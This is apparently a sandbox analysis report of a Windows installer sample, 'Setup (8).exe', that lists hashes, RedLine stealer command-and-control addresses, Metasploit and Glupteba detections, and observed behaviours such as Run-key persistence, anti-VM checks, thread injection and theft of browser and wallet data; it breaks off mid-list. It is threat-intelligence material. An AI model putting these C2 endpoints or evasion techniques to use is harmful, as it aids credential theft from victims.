Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
231s -
max time network
1809s -
platform
windows11_x64 -
resource
win11 -
submitted
01-09-2021 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Setup (15).exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup (18).exe
Resource
win11
Behavioral task
behavioral3
Sample
Setup (6).exe
Resource
win11
Behavioral task
behavioral4
Sample
Setup (7).exe
Resource
win11
Behavioral task
behavioral5
Sample
Setup (8).exe
Resource
win11
Behavioral task
behavioral6
Sample
Setup (9).exe
Resource
win11
Behavioral task
behavioral7
Sample
Setup.exe
Resource
win11
General
-
Target
Setup (8).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
redline
bratanchikAYE
45.14.49.232:63850
Extracted
metasploit
windows/single_exec
Extracted
redline
spnewportspectr
135.148.139.222:1594
Extracted
redline
1
37.0.8.88:44263
Extracted
redline
NORMAN2
45.14.49.184:27587
Signatures
-
Glupteba Payload 1 IoCs
resource yara_rule behavioral5/memory/820-284-0x0000000004710000-0x0000000005036000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5232 5704 rundll32.exe 150 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8188 5704 rUNdlL32.eXe 150 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4840 5704 rundll32.exe 150 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 17 IoCs
resource yara_rule behavioral5/files/0x000100000002b1ef-215.dat family_redline behavioral5/files/0x000100000002b1ef-197.dat family_redline behavioral5/memory/2476-339-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral5/memory/572-392-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/1944-397-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/2164-338-0x0000000000400000-0x000000000044A000-memory.dmp family_redline behavioral5/memory/1204-336-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral5/memory/2164-332-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/1204-329-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/2476-331-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/5172-448-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/5560-461-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/5928-484-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/4212-505-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/5968-498-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/5572-539-0x0000000000000000-mapping.dmp family_redline behavioral5/memory/3108-556-0x0000000000000000-mapping.dmp family_redline -
Suspicious use of NtCreateProcessExOtherParentProcess 29 IoCs
description pid Process procid_target PID 3136 created 1888 3136 WerFault.exe 107 PID 2140 created 1116 2140 WerFault.exe 94 PID 2212 created 8 2212 WerFault.exe 84 PID 2180 created 656 2180 WerFault.exe 83 PID 1204 created 1448 1204 WerFault.exe 91 PID 1880 created 1472 1880 WerFault.exe 90 PID 3148 created 820 3148 V60K7lrty0WkifU53uH86gHY.exe 114 PID 5764 created 2376 5764 WerFault.exe 817 PID 5876 created 1192 5876 NEwspionZOWid2LXZjK1dl1Y.exe 86 PID 6004 created 3880 6004 WerFault.exe 283 PID 6164 created 4028 6164 WerFault.exe 185 PID 6488 created 6704 6488 YAUieWzarfiE2eeBIIFMs6xl.exe 219 PID 7712 created 7520 7712 WerFault.exe 713 PID 676 created 5744 676 WerFault.exe 281 PID 7888 created 4872 7888 WerFault.exe 140 PID 7760 created 4780 7760 WerFault.exe 385 PID 8284 created 5788 8284 WerFault.exe 172 PID 8740 created 3820 8740 WerFault.exe 135 PID 800 created 8752 800 WerFault.exe 306 PID 5492 created 1452 5492 WerFault.exe 895 PID 5884 created 8340 5884 WerFault.exe 544 PID 9304 created 5324 9304 WerFault.exe 316 PID 9352 created 9192 9352 WerFault.exe 350 PID 9388 created 3084 9388 wjYpqESVRSvQIArrKxFithSb.exe 352 PID 10148 created 5404 10148 WerFault.exe 332 PID 10124 created 8380 10124 WerFault.exe 320 PID 9400 created 8640 9400 _WZoBLSntrreJ51SiufataCE.exe 319 PID 9004 created 9628 9004 WerFault.exe 441 PID 4780 created 6336 4780 WerFault.exe 830 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral5/memory/1192-466-0x0000000000870000-0x0000000000943000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 1012 LkrfycFkfTksTzUauegVflMh.exe 8 39WlTeEFdnVI_EULWTalCYWo.exe 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 776 KKuSL32TYr7MYeZ3STivpDoN.exe 1192 AuLoxTlRvhydxUG56es67Gc4.exe 656 iLxWSq0srwqYDrYifqlOjF_P.exe 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 1340 pNVVWtaVpg3pdZOJMrCOvSMZ.exe 1372 _WZoBLSntrreJ51SiufataCE.exe 1388 kpvCLQHJRGwz5tmbqxPLzw5O.exe 1608 MEYAJjbdhFJZ9JvlPOvoJHY8.exe 1472 cTq8jvygV06UoB43Cp1aYi8K.exe 1448 WrZKkiKKK_NHmENLCsmjnDUK.exe 1172 PVVnS9To_I4L8FVfvn4ndKA0.exe 1116 EK4oxKYxuPqKbtGLfG4I3xKt.exe 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe 1780 mEV16ffgILqk6dY6Oo6hdjMR.exe 1888 BLCCLf1y9EcrCs_JXcLerkA1.exe 1716 mUdx2n7wPbN9LsUUE5s9jXl3.exe 2376 iyWbZrjDD_TkLT4fxGQhMul1.exe 2892 zMUrqUseMMFEFClqf7TFzbnM.exe 3304 NW5Z3qPefjTEusXKFa8IVskj.exe 820 Lfq5QAg98JJMphaqMUvQvMkG.exe 3408 mQnGo1IiFkffX5J7JBljq4Bl.exe 4176 mQnGo1IiFkffX5J7JBljq4Bl.tmp 4180 inst001.exe 4760 cutm3.exe 3024 md8_8eus.exe 2676 zMUrqUseMMFEFClqf7TFzbnM.exe 4780 WerFault.exe 660 7535518.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 4888 1629069.exe 1204 WerFault.exe 2164 _WZoBLSntrreJ51SiufataCE.exe 2476 YAUieWzarfiE2eeBIIFMs6xl.exe 2980 WerFault.exe 4784 NEwspionZOWid2LXZjK1dl1Y.exe 4872 3495894.exe 1176 6148561.exe 3820 7849818.exe 4412 1272143.exe 572 _WZoBLSntrreJ51SiufataCE.exe 2924 WerFault.exe 1944 YAUieWzarfiE2eeBIIFMs6xl.exe 5424 8216323.exe 5788 4709399.exe 5172 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 5388 YAUieWzarfiE2eeBIIFMs6xl.exe 5560 _WZoBLSntrreJ51SiufataCE.exe 5928 YAUieWzarfiE2eeBIIFMs6xl.exe 5968 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 4212 _WZoBLSntrreJ51SiufataCE.exe 5572 YAUieWzarfiE2eeBIIFMs6xl.exe 4028 XibDT0XF9Bw1PySWhtDgsoRv.exe 6032 xiOTV_EqoRK54aU16WLOEZrv.exe 4324 Setup.exe 3108 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 5912 _WZoBLSntrreJ51SiufataCE.exe 4040 WinHoster.exe 964 YAUieWzarfiE2eeBIIFMs6xl.exe 3104 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 1444 _WZoBLSntrreJ51SiufataCE.exe 3708 YAUieWzarfiE2eeBIIFMs6xl.exe -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion lMWDTVLWmetwnit4wo3qOElo.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion _WZoBLSntrreJ51SiufataCE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion _WZoBLSntrreJ51SiufataCE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion XYO3MHXLpx8NpACTxzANIQ6u.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion XYO3MHXLpx8NpACTxzANIQ6u.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion _WZoBLSntrreJ51SiufataCE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion _WZoBLSntrreJ51SiufataCE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion lMWDTVLWmetwnit4wo3qOElo.exe -
Loads dropped DLL 11 IoCs
pid Process 4176 mQnGo1IiFkffX5J7JBljq4Bl.tmp 4176 mQnGo1IiFkffX5J7JBljq4Bl.tmp 3880 _WZoBLSntrreJ51SiufataCE.exe 768 stats.tmp 768 stats.tmp 1200 _WZoBLSntrreJ51SiufataCE.exe 1200 _WZoBLSntrreJ51SiufataCE.exe 1200 _WZoBLSntrreJ51SiufataCE.exe 5744 rundll32.exe 9896 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 9896 jVMkn0lbkgcjZ6FfhcWxMlqp.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral5/files/0x000100000002b1e0-192.dat themida behavioral5/files/0x000100000002b1fb-166.dat themida behavioral5/files/0x000100000002b1e0-220.dat themida behavioral5/files/0x000100000002b1fb-231.dat themida behavioral5/memory/1864-298-0x0000000000750000-0x0000000000751000-memory.dmp themida behavioral5/memory/1012-305-0x00000000001E0000-0x00000000001E1000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 7535518.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce YAUieWzarfiE2eeBIIFMs6xl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" YAUieWzarfiE2eeBIIFMs6xl.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_5EFC0ECB77A7585FE9DCDD0B2E946A2B = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window /prefetch:5" msedge.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA _WZoBLSntrreJ51SiufataCE.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA _WZoBLSntrreJ51SiufataCE.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA XYO3MHXLpx8NpACTxzANIQ6u.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA lMWDTVLWmetwnit4wo3qOElo.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 16 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 api.db-ip.com 250 ipinfo.io 448 ipinfo.io 1 ip-api.com 85 ipinfo.io 471 ipinfo.io 1 ipinfo.io 22 ipinfo.io 24 api.db-ip.com 92 ipinfo.io 112 ipinfo.io 150 ipinfo.io 557 ipinfo.io 3 ipinfo.io 280 ipinfo.io 537 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe 1012 _WZoBLSntrreJ51SiufataCE.exe 8368 lMWDTVLWmetwnit4wo3qOElo.exe 9168 _WZoBLSntrreJ51SiufataCE.exe -
Suspicious use of SetThreadContext 64 IoCs
description pid Process procid_target PID 1076 set thread context of 1204 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 169 PID 1372 set thread context of 2164 1372 _WZoBLSntrreJ51SiufataCE.exe 155 PID 1036 set thread context of 2476 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 122 PID 1372 set thread context of 572 1372 _WZoBLSntrreJ51SiufataCE.exe 144 PID 1036 set thread context of 1944 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 142 PID 1076 set thread context of 5172 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 131 PID 1372 set thread context of 5560 1372 _WZoBLSntrreJ51SiufataCE.exe 143 PID 1036 set thread context of 5928 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 173 PID 1076 set thread context of 5968 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 175 PID 1372 set thread context of 4212 1372 _WZoBLSntrreJ51SiufataCE.exe 176 PID 1036 set thread context of 5572 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 179 PID 1076 set thread context of 3108 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 180 PID 1372 set thread context of 5912 1372 _WZoBLSntrreJ51SiufataCE.exe 181 PID 1036 set thread context of 964 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 186 PID 1076 set thread context of 3104 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 197 PID 1372 set thread context of 1444 1372 _WZoBLSntrreJ51SiufataCE.exe 189 PID 1076 set thread context of 4060 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 194 PID 1372 set thread context of 4264 1372 _WZoBLSntrreJ51SiufataCE.exe 196 PID 1036 set thread context of 2508 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 195 PID 1076 set thread context of 3324 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 206 PID 1372 set thread context of 5264 1372 _WZoBLSntrreJ51SiufataCE.exe 208 PID 1036 set thread context of 4352 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 211 PID 1076 set thread context of 1568 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 213 PID 1372 set thread context of 4772 1372 _WZoBLSntrreJ51SiufataCE.exe 215 PID 1036 set thread context of 6064 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 214 PID 1076 set thread context of 6424 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 217 PID 1372 set thread context of 6704 1372 _WZoBLSntrreJ51SiufataCE.exe 219 PID 1036 set thread context of 6752 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 221 PID 1076 set thread context of 7152 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 224 PID 1372 set thread context of 6280 1372 _WZoBLSntrreJ51SiufataCE.exe 228 PID 1076 set thread context of 6844 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 234 PID 1036 set thread context of 1536 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 235 PID 1372 set thread context of 6196 1372 _WZoBLSntrreJ51SiufataCE.exe 238 PID 1076 set thread context of 4004 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 240 PID 1372 set thread context of 6908 1372 _WZoBLSntrreJ51SiufataCE.exe 245 PID 1076 set thread context of 6360 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 246 PID 1036 set thread context of 7012 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 256 PID 1780 set thread context of 8164 1780 mEV16ffgILqk6dY6Oo6hdjMR.exe 500 PID 1076 set thread context of 7680 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 252 PID 1372 set thread context of 7520 1372 _WZoBLSntrreJ51SiufataCE.exe 713 PID 1076 set thread context of 7392 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 265 PID 1036 set thread context of 5340 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 267 PID 1372 set thread context of 7740 1372 _WZoBLSntrreJ51SiufataCE.exe 272 PID 1076 set thread context of 5468 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 270 PID 1036 set thread context of 7676 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 279 PID 1372 set thread context of 7576 1372 _WZoBLSntrreJ51SiufataCE.exe 276 PID 1076 set thread context of 4756 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 278 PID 1076 set thread context of 7116 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 284 PID 1036 set thread context of 7504 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 286 PID 1372 set thread context of 7748 1372 _WZoBLSntrreJ51SiufataCE.exe 289 PID 1076 set thread context of 4048 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 290 PID 1372 set thread context of 7900 1372 _WZoBLSntrreJ51SiufataCE.exe 299 PID 1076 set thread context of 8232 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 298 PID 1076 set thread context of 8752 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 306 PID 1036 set thread context of 8316 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 294 PID 1372 set thread context of 8792 1372 _WZoBLSntrreJ51SiufataCE.exe 302 PID 1036 set thread context of 9200 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 312 PID 1076 set thread context of 7804 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 311 PID 1372 set thread context of 8340 1372 _WZoBLSntrreJ51SiufataCE.exe 544 PID 1036 set thread context of 9044 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 330 PID 1372 set thread context of 8500 1372 _WZoBLSntrreJ51SiufataCE.exe 342 PID 1076 set thread context of 8420 1076 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 343 PID 1036 set thread context of 9280 1036 YAUieWzarfiE2eeBIIFMs6xl.exe 354 PID 1372 set thread context of 9556 1372 _WZoBLSntrreJ51SiufataCE.exe 357 -
Drops file in Program Files directory 34 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d md8_8eus.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe 7RogQiZGsyuFP7ltAZ8RcdkU.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe Setup.exe File created C:\Program Files (x86)\SmartPDF\SmartPDF\d note866.exe File created C:\Program Files (x86)\SmartPDF\SmartPDF\d.jfm note866.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe Process not Found File opened for modification C:\Program Files (x86)\Company\NewProduct\d Process not Found File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\d.jfm note866.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW md8_8eus.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm md8_8eus.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe PVVnS9To_I4L8FVfvn4ndKA0.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe KKuSL32TYr7MYeZ3STivpDoN.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url Setup.exe File created C:\Program Files (x86)\SmartPDF\SmartPDF\tmp.edb note866.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe Process not Found File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe PVVnS9To_I4L8FVfvn4ndKA0.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe KKuSL32TYr7MYeZ3STivpDoN.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe KKuSL32TYr7MYeZ3STivpDoN.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\d note866.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe KKuSL32TYr7MYeZ3STivpDoN.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini KKuSL32TYr7MYeZ3STivpDoN.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe Setup.exe File created C:\Program Files (x86)\Company\NewProduct\d md8_8eus.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.jfm md8_8eus.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.exe Setup.exe File created C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.ini Setup.exe File created C:\Program Files (x86)\Company\NewProduct\tmp.edb md8_8eus.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\d.INTEG.RAW note866.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe 7RogQiZGsyuFP7ltAZ8RcdkU.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.jfm Process not Found File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe Setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 64 IoCs
pid pid_target Process procid_target 2604 1888 WerFault.exe 107 4372 656 WerFault.exe 83 2980 8 WerFault.exe 84 3572 1116 WerFault.exe 94 2924 1192 WerFault.exe 86 6108 2376 WerFault.exe 104 6068 3880 WerFault.exe 188 7116 4028 WerFault.exe 185 2976 6704 WerFault.exe 219 6896 7520 WerFault.exe 251 5396 5744 WerFault.exe 281 8300 4780 WerFault.exe 154 8272 4872 WerFault.exe 140 8360 4780 WerFault.exe 154 8352 4872 WerFault.exe 140 7236 5788 WerFault.exe 172 7712 5788 WerFault.exe 172 8656 8752 WerFault.exe 306 9468 5324 WerFault.exe 316 9436 1452 WerFault.exe 318 9816 5404 WerFault.exe 332 8600 6336 WerFault.exe 315 7420 6916 WerFault.exe 230 6508 8704 WerFault.exe 329 4604 6916 WerFault.exe 230 4804 4840 WerFault.exe 382 9832 6284 WerFault.exe 239 9692 7792 WerFault.exe 468 8220 7476 WerFault.exe 250 3840 3132 WerFault.exe 243 10448 1200 WerFault.exe 498 9484 10864 WerFault.exe 537 10544 8588 WerFault.exe 551 11132 7580 WerFault.exe 403 9552 11204 WerFault.exe 582 6180 1112 WerFault.exe 384 9904 7588 WerFault.exe 395 9516 9732 WerFault.exe 599 9600 2468 WerFault.exe 607 6572 10344 WerFault.exe 509 3984 10820 WerFault.exe 531 6968 9500 WerFault.exe 662 5568 10864 WerFault.exe 680 10680 7032 WerFault.exe 728 8464 9412 WerFault.exe 754 8608 6356 WerFault.exe 781 2220 3736 WerFault.exe 848 6412 8132 WerFault.exe 857 12112 12128 WerFault.exe 876 11100 13720 WerFault.exe 968 13920 13924 WerFault.exe 979 12868 8408 WerFault.exe 1027 13744 2032 WerFault.exe 1080 12772 12744 WerFault.exe 1081 14804 13764 WerFault.exe 1099 15004 13188 WerFault.exe 1101 14784 15036 WerFault.exe 1117 7764 14904 WerFault.exe 1122 13112 7148 Process not Found 1159 15880 15368 Process not Found 1245 15432 16072 Process not Found 1251 14456 7588 Process not Found 1292 28932 3024 Process not Found 164 22260 2572 Process not Found 201 -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 V60K7lrty0WkifU53uH86gHY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier V60K7lrty0WkifU53uH86gHY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 jVMkn0lbkgcjZ6FfhcWxMlqp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString V60K7lrty0WkifU53uH86gHY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision jVMkn0lbkgcjZ6FfhcWxMlqp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 jVMkn0lbkgcjZ6FfhcWxMlqp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString jVMkn0lbkgcjZ6FfhcWxMlqp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried 